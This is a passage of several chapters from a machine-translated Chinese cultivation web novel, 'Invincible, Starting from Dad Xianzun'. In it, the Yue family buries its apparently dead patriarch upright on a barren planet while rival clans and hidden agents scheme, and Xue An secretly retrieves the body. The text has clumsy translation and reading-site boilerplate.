    Yue Guannan clapped his hands and sneered: "From the very beginning, I knew this was an illusion, because my brother would never say that!"


    There was hatred in Pan Ruomei''s eyes, and she whispered to Xi Menhao who was on the side: "This girl is very tricky. Let''s do it together. You entangle her, and then I rush over to see what happened!"


    Although he didn''t want to deal with this femme fatale, but the matter was over, he had no choice but to nod.


    After finishing the division of labor, the two immediately rushed towards Yue Guannan.


    At the same time, the two girls led by the Yue family who were guarding the spirits also gathered around.


    They naturally couldn''t watch Yue Guannan being bullied, so they rushed forward desperately, trying to share the pressure for Yue Guannan.


    Seeing the war is about to break out.


    At this moment, I heard a voice that was as gentle as jade, but clear and cold, coming from a distance.


    "Why, did you run to the door of your house to provoke you?"


    Hearing this voice, everyone in the Yue family shook together, and immediately all showed joy.


    At this moment, he saw a figure rushing over the atrium at an extremely fast speed. After he showed his figure, it was Xue An in white.


    Seeing him stepping on the ground, he first nodded to the second girl and Yue Guannan who was sitting in the chair.


    "Second girl, girl Yue!"


    The second girl let out a sigh, nodded and took a half step back.


    However, Yue Guannan only glanced at Xue An deeply and did not speak.


    "Who are you?" Ximenhao asked in a deep voice. Sacrifice as 7huan.com Sacrifice as


    On the contrary, Pan Ruomei, who was on the side, saw Xue An with white clothes like snow and picturesque brows, her eyes lighted up, the expression on her face quickly turned soft, and then she covered her mouth and smiled.


    "Yeah, what a handsome boy!"


    Xue An was not moved at all, and said lightly: "I am Xue An, the current soldier in charge of the Yue family, who are you?"


    "Humph!" Ximenhao snorted without speaking. UU reading www.uuk��nshu.com


    On the contrary, Pan Ruomei said very enthusiastically: "It turns out that it was the leader of the Yue family! You came just right. The two of us are friends of the Yue family''s master. We came here for worship, but she did not expect this woman to deceive others. Too much, we are not allowed to pass!"


    "Oh? Is that so?" Xue An looked at Yue Guannan.


    Yue Guannan nodded, "Yes!"


    Xue An smiled, "It turns out that it''s because of such a simple matter. Don''t you two just want to pay homage to Patriarch Yue''s remains and worship in person, okay! Come with me now!"


    "Really?" Pan Ruomei didn''t quite believe that things would be so simple.


    "of course!"


    With that, Xue An winked at Yue Guannan.


    Yue Guannan was silent for a moment, and finally lowered his head.


    "Let''s go!" Xue An turned around and led them to the coffin.


    After getting closer, Ximenhao and Pan Ruomei could finally clearly perceive the corpse of Yue Shifang above the coffin.


    Under divine consciousness and various methods of exploration, the corpse showed no reaction at all. It can be said that the dead can no longer die.


    The two couldn''t help but glance at each other.


    Then Pan Ruomei showed grief, "Patriarch Yue, I really didn''t expect you to leave so suddenly, it really made me so distraught!" Mi He Mi


    With that, she rushed forward naturally and grabbed Yue Shifang''s arm.


    The start is cold and hard, and extremely thin, as if it can be broken with a little effort.


    Yue Qinghuan, who had been sitting on his knees before the coffin and had no place to move, rose up suddenly and furiously said.


    "What do you mean? Why did you touch my brother''s body?"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2346： Yue Family Funeral

    "Invincible, start with Dad Xianzun (!


    Pan Ruomei had already determined that Yue Shifang was indeed dead, so she let go of her hand indifferently, and said calmly: "I was only in a moment of indignation, I couldn''t control myself!"


    Yue Qinghuan was so angry that his chest was ups and downs, "Fuck me, my brother''s body can''t be desecrated by you guys!"


    Pan Ruomei sneered, "If that''s the case, let''s say goodbye!"


    With that, she turned and walked out.


    Although Ximenhao intends to stay here to see the development of the situation, there is no reason for Pan Ruomei to stay here.


    Therefore, he could only leave the Yue family behind Pan Ruomei.


    When they left, Yue Qinghuan was still angry, but did not speak, but looked at Xue An with questioning eyes.


    The second girl frowned slightly, "Xue An, these two are obviously not good at coming, should you beware?"


    Xue An smiled swiftly, "That''s for sure if the visitor is not good. As for the precautions, you don''t need to beware, because after the matter just now, they have clearly determined something, so they will leave here!"


    Even so, many people still feel a little uneasy in their hearts.


    Some people even felt that Xue An''s approach just now was a bit wrong, and unexpectedly allowed outsiders to touch the body of the Patriarch.


    Although the other party''s doubts have been dispelled, isn''t this a sign of weakness?


    But these people pressed their thoughts to the bottom of their hearts and didn''t show them.


    At this time, the second girl said in a deep voice: "Although we said that, we still have to step up prevention. By the way, how is the construction of the tomb? Why did you come back early?"


    "The main body has been built. As for the other minor matters, it is no longer important, so I am back!"


    "In that case, the funeral day can be determined?" The second girl asked in a deep voice with a flash of eyes.


    "Well, after three days, it will be the period of Yue Shifang''s big trip!"


    Just as the Yue family confirmed the date of Yue Shifang''s funeral, a fleet was floating quietly in the starry sky not far from the Yue family''s headquarters.


    Ximenhao and Pan Ruomei did not go far, but stayed here, quietly waiting for something.


    At this moment, among the flagships, Ximenhao frowned and asked: "Are you sure he is really dead?"


    "Of course, after touching his corpse, I deliberately tried various methods to penetrate into his body, but there was no response at all, so I can be sure that he is indeed dead!"


    "But if you just go back to life like this, the adults will obviously not be satisfied!" Ximenhao hesitated.


    "Hehe, you may have seen the situation at that time. The woman who blocked the road was obviously very powerful. If we had an attack on the spot, it would be difficult to get out of the whole body, so I decided to withdraw temporarily and wait until he is out of the funeral. Let''s follow!"


    "At that time, his body can be dug up, and then no matter if it is taken back to life or whatever, it is considered an explanation!" Pan Ruomei said.


    Ximenhao nodded, "I have no choice but to do so!"


    At the same time, three days later, the news that Yue Shifang was going out for funerals spread to the entire military strategist.


    Long Yushu sneered, "Is it finally time? Or, I see how arrogant you are when the funeral is out!"


    Sima Chongchao did not speak, but was full of eagerness to try, apparently intending to avenge his broken palm that day.


    People in other families have different reactions.


    In this situation, three days passed in a flash, and the day for Yue Shifang''s funeral finally arrived.


    Since the morning of this day, the guests have never stopped.


    Soon, the square in front of the Yue family''s department was full of guests.


    These people gathered in groups to discuss the upcoming funeral, and many people sighed even more.


    "It''s sigh that this hero of Yue Shifang I left so suddenly, even his family was almost unprotected after he died!"


    "Who said no, if it hadn''t been for the sudden return of the former Yue family war **** Yue Guannan, maybe the Long Family and Sima Family had already started it at that time!"


    "Hey, I forgot if you didn''t say this. Who would have thought that the dignified Yue Family God of War was actually a woman, and that she was also Yue Shifang''s younger sister. This is incredible!"


    "Hehe, this is indeed a bit sighing, but a pity that the woman is a woman after all, and now the Yuejia Mansion will fall, it is not she alone can support it!"


    "How about the young man who led the Yue family soldiers to win first place in martial arts? How is he?"


    "You mean Xue An, who doesn''t know where he came from? Although he has a set of military training, it is a pity that his cultivation level is too bad, and he is not as good as Yue Guannan. How can he withstand the coveted eyes of the outside world?"


    These talks came and went one after another, among them there were sympathetic, lamented, and naturally there were also unpredictable and gloating.


    All in all, public opinion in the market is boiling, almost like a vegetable market.


    At the same time, there was a sudden commotion in the crowd, because the people from the Long Family Ke Sima Family had already arrived.


    Long Yushu and Sima Chongchao stood proudly, occupying one''s own side, obviously disdain to stand with these miscellaneous people.


    Seeing the appearance of the two of them, the voice of the discussion in the field was instantly lowered a lot.


    Who doesn''t know that these two men are now one of the few masters in the military, if they annoy them, they won''t have their own good fruits.


    At this moment, people from the Gu family, Zhongli family, Song family, etc. also came together.


    In an instant, the situation in the field reached its peak.


    But the more so, the quieter the field.


    Everyone closed their mouths obediently, and quietly waited for the funeral time to come.


    Only some people who are close to each other will stand together quietly and communicate silently with divine thoughts.


    Suddenly, I heard a gong sound from the Yue family, the sound of the gong was so desolate and sad.


    All the people present trembled slightly.


    Immediately after hearing the sound of uniform footsteps, a group of soldiers wearing heavy filial piety emerged from the gate of the Yue family.


    Immediately after these soldiers came out, they were separated from each other and waited silently.


    This kind of power also made the atmosphere in the field instantly dignified.


    Sima Chongchao curled his lips and said with a sneer: "Fantasy!"


    Long Yushu didn''t speak, but squinted his eyes to look at these soldiers, with a greedy look in his eyes.


    Because the power of the evil spirit soldiers on these soldiers is obviously not an ordinary elite.


    If this can be used for oneself, it will definitely push the strength of the Long Family to a higher level.


    Just as these two were pregnant with ghosts, suddenly there was a dull drum sound from the Yue family.


    The drum sound was as if it was beating on the hearts of everyone present, and it was dull and uncomfortable.


    Many people with weaker strength changed their complexion slightly, and couldn''t help but step back a little.


    But at this moment, I only heard a scream of sorrow.


    "Patriarch, it''s good to go all the way!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2346 Yue Family Funeral (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2347： Burial upright

    "Invincible, start with Dad Xianzun (!


    With this shout, in the atrium, someone lifted Yue Shifang''s body from the coffin and placed it in the coffin that had already been prepared.


    Immediately afterwards, three hundred and sixty people who had been neatly dressed to carry the coffin came forward silently.


    "Get up!"


    Along with Xue An''s deep sigh, a huge coffin came up.


    The coffin was like a hill, so naturally it was impossible to get out of the courtyard.


    But this is not difficult for everyone, I saw these people who carried the coffin flew together, and actually carried the coffin into the air.


    And this scene was also watched by everyone on the square outside.


    "Hey! It''s a big battle, and it''s the three hundred and sixty top bars. It''s really surprising that Yue''s family can get it together!" Someone exclaimed.


    However, at this time, people''s more attention is still on the question of which direction the coffin will go, and whether the Yue family will let everyone follow.


    Because if everyone is willing to follow, it means that Yue Shifang''s grave will be made public.


    But almost everyone felt that the Yue family would not do that.


    Because in that case, it is very possible to provoke revenge from the enemy.


    After all, you can''t stay in front of the grave all day.


    Unexpectedly, Xue An, who is the leader of the spirit, just glanced at everyone coldly, and then raised his hand to point forward.


    "set off!"


    With an order, three hundred and sixty levers moved after hearing the wind, and followed Xue An''s guidance to fly into the starry sky.


    Behind is the second girl, Yue Guannan and Yue Qinghuan and other Yue family members.


    The whole process didn''t mean anything to hinder it.


    This is far beyond the expectations of many people.


    Long Yushu and Sima Chongchao looked at each other, then flew up and followed closely behind.


    Gu Wangya, Zhong Li Wuwang and others are naturally no exception.


    All of a sudden, people from eleven families rose up one after another, forming a mighty funeral team to march into the starry sky.


    And when everyone moved together, Xi Menhao and Pan Ruomei, who were originally hiding in the void, were also aware of it for the first time.


    The two did not send out a large force, because that was too arrogant.


    I saw the two of them flying out of the fleet, quietly following the team, and flying towards the depths of the void.


    The planet Xue An selected was not too far away from the Yue family headquarters. At his speed, it was at most half a day away.


    But this time, because of the large number of people carrying the coffin, it took a full day to arrive.


    When everyone fell on the planet, the extremely desolate scene here surprised many people.


    Because when people choose a cemetery, they usually choose a place with beautiful mountains and clear waters.


    Who would look for this extremely desolate, dead planet?


    Even everyone in the Yue family was shocked. Yue Hechang finally couldn''t help but whispered: "Xue An, is this the Patriarch''s graveyard?"


    Xue An nodded, "Yes! Didn''t you see, that''s it in front of you!"


    Everyone looked in the direction pointed by Xue An, but saw a tomb standing alone in the boundless wilderness.


    "This..." Yue Hechang was dumbfounded.


    Because this tomb is too shabby.


    In front of a small grave bag less than three meters in size is a stone monument.


    A few large characters are written in scribbled handwriting on the stele.


    Tomb of Yue Shifang.


    There is nothing else.


    Not to mention Yue Hechang, including the people who followed to deliver the funeral in an uproar.


    Someone whispered with a weird expression: "Somehow he was once a hero who was all the rage, but I didn''t expect to be so aggrieved after he died!"


    "Who would say no, I thought what a magnificent grave it would be when I started watching the funeral battles of the Yue family. I didn''t expect that it would be inferior to an ordinary person. It''s really funny!"


    "There must be an inside story in it, and it''s probably going to be lively now!"


    Although these discussions deliberately lowered the volume, many of them still drifted into the ears of the Yue family.


    Everyone in the Yue family only felt red and red, and lowered their heads deeply.


    Because what the outsiders are talking about is really right!


    Even Yue Junze, who admired Xue An most, couldn''t help but slander.


    Your sir, what''s the matter with you?


    Why is the tomb of the Patriarch so shabby?


    Many people are full of chills.


    You must know that Xue An left the Yue family when Yue Shifang just died. He was busy outside for many days, and finally handed over such a result.


    If there are no tricks, no one will believe it.


    As a result, Xue An''s prestige in the Yue family instantly fell to the bottom.


    Many people can''t help but lament in their hearts.


    It really doesn''t work if you are not a person of the same surname!


    As soon as the Patriarch died, he had already given birth to a strange heart.


    Xue An didn''t seem to notice those embarrassing gazes from the outside world, and saw him lightly saying: "It''s auspicious time, let''s go to the burial!"


    Yue Hechang had intended to say something, but the matter has come to this point, and it is useless to say anything, so he can barely hold back his inner grief and anger, and said in a deep voice: "Be buried!"


    Three hundred and sixty walkers carried the coffin and came to the tomb, but when they were buried, another accident happened.


    Because the tomb dug on the ground was so small, it was impossible to put down the coffin smoothly.


    Now Yue He Chang couldn''t help it anymore, and saw him approaching Xue An with a pale expression on his face.


    "Xue An, what''s going on? Why is the grave so narrow? How can this be buried?"


    Xue An smiled, "Small? Why don''t I think?"


    Yue He Changqiang suppressed the anger in his heart, and said coldly: "You can come and have a look!"


    Xue An, the second girl, Yue Guan Nan Yue Qing Huan and others came to the tomb.


    really.


    The grave is much smaller than the eyes can see.


    At this time, everyone in the Yue family turned their attention to Xue An.


    Especially Yue Guannan, saw her eyes as cold as ice, staring at Xue An for an instant.


    Xue An smiled freely, "Oh, it turned out to be like this! It''s a bit small, but now it''s too late to transform it, or else! How about erecting this coffin for burying?"


    As soon as this statement came out, the audience was in an uproar.


    Yue Hechang never dreamed that Xue An would give such a solution.


    After the reaction came, he was trembling all over, UU reading shouted hoarsely.


    "Xue...Xue An, are you talking about human words? Why do you feel at ease if you let me wait for the coffin of the head of the family to be buried upright?"


    "I don''t have any heart. After all, digging such a large grave is already the limit of my ability. Now it is too late to make a temporary transformation. What if I don''t bury it vertically?" Xue An said lightly.


    Yue Hechang''s blood poured into his pupils, his teeth creaked, and now he just wanted to beat Xue An violently.


    But at this moment, the second **** the side suddenly said.


    "Listen to him, bury it vertically!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2347 is buried vertically (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2348： Burial

    "Invincible, start with Dad Xianzun (!


    "But..." Yue Hechang said hesitantly.


    "It''s nothing, just do what he says!" The second girl said solemnly.


    A look of grief and anger loomed in Yue Hechang''s eyes, but he had no choice but to turn around and waved his hand.


    "Put the coffin upright and bury it!"


    Hearing this, everyone in the Yue family was in a commotion, and many people looked uneasy.


    But under the coercion of the second girl, she didn''t dare to say anything, so she held her breath secretly and started to do it.


    The coffin was slowly erected, and then lowered toward the tomb.


    At this moment, someone among the crowd of onlookers suddenly smiled and said, "Look, doesn''t this look like planting carrots?"


    As soon as this remark came out, there was a burst of low laughter in the audience.


    The people of the Yue family collectively lowered their heads, and their hearts were full of shame and anger.


    But that''s the end of the matter, and it''s useless to say anything else.


    Soon, the coffin was placed in the tomb.


    Everyone in the Yue family knelt to the ground, watching the yellow soil bury the coffin a little bit.


    Suddenly, I heard Yue Hechang cry out, "Patriarch, go well!"


    Then he knocked his head to the ground.


    The rest of the Yue family also kowtow, the scene is moving.


    Long Yushu glanced sideways at Sima Chongchao, and sneered slightly, "Do you want to do it now?"


    Sima Chongchao grinned, "Wait first, after all, so many people are watching, let them live a few more days, and then clean up the Yue family after the funeral is over!"


    This was in the middle of Long Yushu''s embrace, and he nodded, "Okay, then let''s leave now!"


    With that, the Long family and Sima family left directly.


    When they left, people from other houses looked at each other, then shook their heads, and left one after another.


    Although Gu Wangya of the Gu family, Song Yuze of the Song family and others looked at the sorrowful Yue family and stopped talking, they finally sighed and left.


    After all, people have already been buried, so naturally they have no reason to stay here.


    Soon, the crowd of onlookers walked away cleanly.


    Ximenhao and Pan Ruomei, who were hiding behind the crowd, fled into the void when they saw this, quietly waiting for the opportunity.


    It is impossible for them to leave so easily, at least they have to take Yue Shifang''s body back to be considered as an explanation.


    At this moment, the second girl Xue Anchong and Yue Qinghuan said indifferently: "Let''s go! Patriarch Yue has been in the soil for peace, so go back!"


    Yue Junze finally couldn''t help it, and asked aloud: "Don''t you need to send someone to guard here? After all, so many people have seen the burial place of the Patriarch, what if someone takes the opportunity to retaliate?"


    This sentence also brought many eyes to Xue An again.


    But unlike the previous look full of awe and appreciation, there was a lot of coldness in his eyes this time.


    Seems to be waiting for Xue An''s answer.


    Xue An just smiled faintly at this, "You don''t need to worry about this, and let''s not say that no one will come here to look for things, it is true, and I can guard it here!"


    But despite what he said, there are still many people who are uneasy.


    For example, Yue Guannan, who had never spoken during the entire funeral, suddenly said in a deep voice.


    "I''ll stay too!"


    This proposal was in line with the wishes of Yue, Chang and others, and they nodded immediately.


    "Okay! If Yue Zhangbing can stay guard, that would be great!"


    When they were speaking, their deliberately aggravated military command made the tone of these three words almost overflowing with the implicit sarcasm.


    Xue An just smiled indifferently, as if he hadn''t heard it.


    "Okay! Since Miss Guannan is willing to stay, let''s stay!"


    Soon, everyone in the Yue family also left.


    Only Xue An and Yue Guannan were left in the wilderness.


    Yue Guannan glanced at Xue An deeply, but didn''t say a word. Instead, he found a leeward position and sat down and began to wait silently.


    Xue An didn''t seem to notice her indifference, so he took the initiative to move forward, and then sat down.


    "Drink tea?"


    There was silence on the other side.


    "If you don''t say it, just drink!"


    With that, Xue An threw out a coffee table like a magic trick, filled with all kinds of tea sets.


    Xue Anxin grabbed his hand, and within a short while, a maroon flame rose from the small stove, and the roasted teapot emitted a scent of aroma.


    The green tea is poured into the white porcelain cup, forming a strong sense of beauty.


    Xue An pushed the teacup closer to Yue Guannan and smiled, "Taste it! It tastes very good!"


    But Yue Guannan didn''t glance at the tea cup on the table, but stared at Xue An coldly.


    Xue An remained unmoved, still smiling very brightly.


    After a long time, Yue Guannan said softly, "I really want to know what kind of secret you are hiding!"


    "Oh? Why do you say that?" Xue An gently sipped the tea in the cup and said with a chuckle.


    "It''s very simple, because you must have reached some kind of deal with the second girl and even Yue Qinghuan, otherwise they would not cooperate with you like this!"


    Xue An smiled without saying a word.


    "But the problem lies here. What kind of transaction is it that can make them ignore the reputation of Yue Shifang and the entire Yue family, or is it... Yue Shifang is not dead at all?"


    Yue Guannan said coldly, but as soon as she finished speaking, she shook her head in self-denial.


    "But it is impossible again, because I have confirmed that he is indeed dead and cannot die anymore!"


    Xue An put down the tea cup in his hand and chuckled softly: "For you, is the answer to the fact that important?"


    "of course!"


    "Then drink tea and wait, because soon, all the answers will be revealed!"


    After listening to Xue An''s words, the Guanghua in Yue Guannan''s eyes moved, and finally he picked up the tea cup in front of him and sipped slowly.


    Apart from the raging wind, this planet has no signs of activity.


    And Xue An and Yue Guannan drank tea in silence like this.


    This scene was naturally seen by Ximenhao and Pan Ruomei who were hiding in the void.


    They communicated quietly through divine minds.


    "What should I do now? This wicked woman actually stayed on guard, do you want to do it now?" Ximenhao asked.


    Pan Ruomei''s face sank, "Don''t act rashly. Compared to this woman, how do I think this man is more unpredictable?"


    "He? It''s just a mere Xianzun, no matter how powerful it is, where can it go?" Ximenhao pouted.


    But at this moment, Xue An sighed softly, "This wind is really blowing a bit noisy, and it blows away the fragrance of tea!"


    As he spoke, he snapped his fingers casually.


    With a snap.


    The wind stopped and the clouds stopped, UU reading , the whole world was quiet.


    Ximenhao opened his mouth wide.


    Because this hand is extremely beautiful, although he can do it, he is far from being as cool as Xue An is now.


    Pan Ruomei glanced at him, "What about now?"


    Ximenhao touched his chin a little awkwardly, "I think there is no time limit for the tasks that the adults confessed anyway, so it''s okay to wait a little bit! After all, they can''t wait here indefinitely, and wait for them to leave. It''s not too late for us to start!"


    "Haha!" Pan Ruomei rolled her eyes and stopped talking.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2348 Burial (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2349： 4 crises

    At the same time, the headquarters of the Yue Family was shrouded in a cloud of gloom.


    The owner of the family has fallen, and the Yue family, who has lost the guard of the super strong, is like duckweed in the wind.


    Now, coupled with Xue An''s "sudden reversal" and the second girl''s ambiguous attitude, the prospects of the Yue family have become bleak.


    At least Yue Hechang and Yue Junze''s hearts became heavy.


    "Junze!" Yue Hechang said solemnly.


    "in!"


    "Now that no one is available to the Yue family, Xue An is no longer reliable, and everything can only depend on ourselves, so I declare that from now on the Yue family enters a state of martial law, everyone will be up to 120,000 spirits. ,understand!"


    "Yes!" Yue Junze replied awe-inspiringly.


    Then Hou Yue and Chang left in a hurry.


    Because the Yue family now has too many things to deal with.


    Even in just a few days, Yue Hechang, who was usually well maintained, showed a few huafas on his temples.


    And not only him, all the men in the Yue family are now prepared for the worst.


    Because they know that the next test will definitely be more severe.


    really.


    Three days have not passed, I heard someone hurriedly come back to report.


    "Report to Elder Yue!"


    "What''s the matter?" Yue Hechang asked immediately.


    "Just discovered that the fleets of the Long Family and the Sima Family appeared in the void before the split!"


    "what?"


    Hearing this news, everyone was horrified.


    Yue Hechang even more Huo Danqi, "Can you see clearly? Are you sure they belong to the Long and Sima families?"


    "How dare you make a joke about this kind of thing? It must be from the Long family and the Sima family, as evidenced by the water curtain image."


    Yue Hechang waved his hand immediately, and the water curtain image opened.


    really.


    In this vast space, two aggressive fleets appeared, and the two flagships headed by them were engraved with the emblems of the Long Family and the Sima Family.


    Yue Hechang''s complexion instantly became extremely ugly, and gritted his teeth and said: "Long Yushu, Sima Chongchao, you are really unscrupulous!"


    At this moment, Yue Junze said solemnly: "Father, do you want us to play now?"


    "Don''t worry yet." Yue Hechang stopped Yue Junze, and then said in a deep voice.


    "The people of the Long and Sima family are obviously testing now. They just want us to be uncomfortable and take the lead in order to get the upper hand."


    "What should we do then? Are we just watching the fleet of their two families dangling at our door?" Yue Junze said in anger.


    Yue Hechang pondered for a moment, and then said coldly: "Come here, come with me to explore the reality at the door of my house!"


    As soon as the order was given, dozens of elders eagerly signed up immediately.


    "I go!"


    "Count me in!"


    "Damn, this Long Family and Sima Family are so deceptive, they fight with them!"


    "Okay! Come with me!"


    Yue Hechang immediately flew up and flew into the void.


    Many elders followed.


    The whole process didn''t disturb the two girls in the backyard at all.


    Because in Yue Hechang''s view, the second girl, who had an ambiguous attitude towards the funeral, was obviously already unreliable.


    The calamity that the Yue family is facing now still needs to be overcome by people surnamed Yue.


    quickly.


    The group of them came into the void before the division.


    really.


    In the void not far ahead, two huge fleets were patrolling proudly.


    Yue Hechang''s complexion became more and more ugly.


    Because this kind of behavior is like fiddling with knives and guns in front of your house, which is an extremely serious provocation.


    But he still reluctantly suppressed the anger in his heart, took a step forward, and said in a deep voice: "Guys-in-law Lao Yue and Chang, here we are waiting for Patriarch Long and Patriarch Sima!"


    The voice spread out in a divine mind.


    Soon, bright lights appeared on the two front flagships, but Long Yushu and Sima Chongchao did not show up, and only responded with cold voices.


    "Oh? It turned out to be Elder Yue Hechang, why? What''s the matter?" Long Yushu was speaking.


    As for Sima Chongchao, he just sneered, but did not speak.


    This kind of behavior is already blatant discrimination. After all, they provoked first, but now they ask Yue Hechang what''s the matter.


    Yue Hechang''s eyelids twitched frantically, but he still calmed down.


    "But I don''t know what the two leaders of the brigade would like to patrol before coming to my Yue family to split up?"


    "Hehe! Elder Yue''s words are too bad!"


    Along with the voice, a virtual image appeared on the flagship of the Long Family, it was Long Yushu with a sneer on his face.


    "Our two families are just training soldiers on a routine basis. How can you run to your Yue family to patrol?"


    As soon as this remark came out, everyone in the Yue family showed anger one after another.


    This is no longer arrogant, this is clearly talking nonsense with your eyes open.


    Yue Hechang finally couldn''t hold back anymore, after sneering a few times, he raised his head and asked.


    "Oh? Routine exercise? This is really a coincidence. As soon as my Patriarch left, did you perform routine exercises in front of my Yue family?"


    "What is the front of your Yue family? This void is a land without a master, and we have never stepped into your Yue family domain for half a step!" Long Yushu said coldly.


    Yue Hechang was speechless.


    Because what Long Yushu said was true Although the fleet of their two families had been hovering before the Yue family separated, they did not enter the Yue family''s airspace.


    Yue Hechang''s face was already dark.


    Compared to provocation, this naked insult irritated him even more.


    If possible, he really wants to attack now and defeat the two fleets in one fell swoop.


    But reason told him that it was impossible.


    Because Long Yushu and Sima Chongchao are far better than their own.


    Therefore, he could barely lower the blood pressure in his heart, and said coldly: "It turns out that it is so, so please, please, I hope your drill will be a perfect success, but I want to say something in advance! "


    Yue Hechang paused, and then said fiercely, "If you dare to step into the Yue Family Realm for half a step, then don''t blame me for waiting!"


    "Haha!" Long Yushu sneered, and at the same time dissipated the virtual image on the top of the ship, and he really began to practice seriously.


    Standing in place, Yue Hechang looked coldly, and at the same time whispered to Yue Junze behind him: "Junze, you go back now, and immediately transfer all the minors in the family to the training ground!"


    Yue Junze was taken aback, and immediately understood something, and said in a sad tone: "Father, you should go and leave it to me!"


    "Asshole, you can do whatever I ask you to do. What can you do by guarding here? Get out of here!" Yue Hechang suddenly became angry and roared in a low voice.


    Helpless, Yue Junze nodded towards Yue Hechang with tears, then turned and left.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2350： Gourmet reproduce

    "Invincible, start with Dad Xianzun (!


    At this time, Yue Hechang was actually prepared for the worst, so he asked his son Yue Junze to quickly transfer the young people in the family.


    After all, that was the fire of the Yue family.


    As long as they are alive, the Yue Family can survive.


    Unexpectedly, when Yue Hechang and many in-laws'' elders were ready to die.


    The fleets of the Long Family and the Sima Family did not change, but continued to patrol slowly in the distance.


    "What do you mean? Are these two families not planning to do something?" an elder asked in a whisper.


    Yue Hechang''s face sank like water, "Is it because they are so invigorating and moving the crowd to show off in front of us?"


    "Then why don''t they do it?"


    Yue Hechang took a deep breath, "It is estimated that we want to use this method to exhaust our spirit, let us mess up ourselves!"


    Speaking of this, a touch of mockery appeared on Yue Hechang''s face.


    "Unfortunately, their wishful thinking was wrong. As descendants of the Yue family, we would rather die than succumb!"


    This sentence also made the expressions of many old parents-in-laws startled, and the boiling aura before condensed.


    But this kind of condensation does not mean low momentum.


    On the contrary, everyone''s eyes became very determined.


    And this scene was naturally seen by Long Yushu and Sima Chongchao among the two flagships.


    Sima Chongchao said impatiently: "I really don''t understand, what we have to wait for, just based on our current strength compared with the Yue family, it is undoubtedly a win if we directly rush over, why wait here?"


    Long Yushu chuckled, "You don''t understand, this Yue family has obviously felt the pressure from us now. Under this circumstance, they will surely form an iron plate inside. At this time, although the offense can also be victorious, it also means A great price will be paid!"


    "And if we wait here for a period of time, and wait until the spirit of these people is exhausted, the fear of death will naturally make some timid lives uneasy. When we do it again, we will naturally get twice the result with half the effort!"


    Sima Chongchao curled his lips when he heard the words.


    In fact, he understands all these principles, but because of the hatred of the broken palm, he now hates the people of the Yue family.


    Especially now, the main headquarters of the Yue family is right in front of him, and he really wished to rush into it now, and capture all the women who had hurt himself and the second girl into his hands, so that he would be ravaged, so as to eliminate the hatred in his chest.


    But since Long Yushu had said so, he had no choice but to restrain himself and waited quietly.


    At the same moment, there was another person who had the same mood as Sima Chongchao, and that was Xi Menhao hiding in front of Yue Shifang''s grave.


    Seeing Xue An, who was drinking tea with Yuzai, Ximenhao couldn''t help contacting Pan Ruomei with his spiritual thoughts.


    "When the **** have to wait until? How about doing it now!"


    Pan Ruomei looked at Xue An in the distance with obsession.


    To be honest, as an adult''s subordinate, she has also seen countless young talents, but no one has the vigor of the white-clothed boy in front of him.


    Especially when he was sitting in Naan and tasting tea, the kind of elegance and handsomeness that leaked from the bones made her heart-stuck.


    Even she didn''t want to do anything anymore, she just wanted to watch this picture quietly forever.


    Therefore, when Ximenhao''s urging sounded from her sea of ??knowledge, she couldn''t help frowning.


    "What''s the hurry? It''s not time to do it yet!"


    Ximenhao had seen Pan Ruomei''s strangeness a long time ago, so he couldn''t help but said, "Looking at what this guy looks like now, I don''t know when he will wait? If someone urges you, how can you explain me?"


    "Ximenhao, you don''t use the name of an adult to press me down, I have my own measure of this matter, you don''t have to talk too much!" Pan Ruomei responded coldly.


    Ximenhao was almost furious.


    But helpless, in terms of strength, he was really inferior to Pan Ruomei, so he had to reluctantly suppress the anger in his heart and stared coldly at Xue An in the distance.


    In his opinion, this was originally a very simple task, as long as he found a way to open the tomb and take away Yue Shifang''s body.


    Unexpectedly, Pan Ruomei seemed to have fallen into a demon and refused to say anything.


    While his heart was burning, Xue An, who seemed to be drinking tea leisurely, had already quietly infiltrated the tomb with his spiritual consciousness, and was connected to the entire planet''s circle.


    So Xi Menhao and Pan Ruomei, who thought they were hiding in secret, were actually seen through by Xue An a long time ago.


    It''s just that he didn''t say a word.


    "Gluttonous, waiting here disguised as me!" Xue An ordered.


    The ancient gluttonous beast that had been conquered by Xue An in Linglong City immediately appeared, and then disguised as Xue An''s appearance.


    Not only looks, but even temperament is perfectly imitated.


    And the whole process is seamless, and no one can detect it at all.


    And just after the gluttonous food appeared and took his place, Xue An had dived into the ground and came under the tomb.


    Click!


    Xue An smashed the heavy planks of the coffin with a fist, and then Yue Shifang appeared inside.


    At this time, Yue Shifang was wearing mourning clothes and looked terrifying in this deep cave.


    But Xue An didn''t even blink his eyelids, and dragged him out of the coffin that was buried upright by pulling on his foot.


    At this time, Yue Shifang was as thin as a skeleton, without any vitality.


    Even Xue An had to sigh at this moment that Yue Shifang''s pretending to be dead was really flawless.


    Xue An took Yue Shifang and sneaked down the deep tunnel.


    Wherever they passed, the seals on the four walls of the cave were lit up in turn, and layered on Xue An and Yue Shifang''s body.


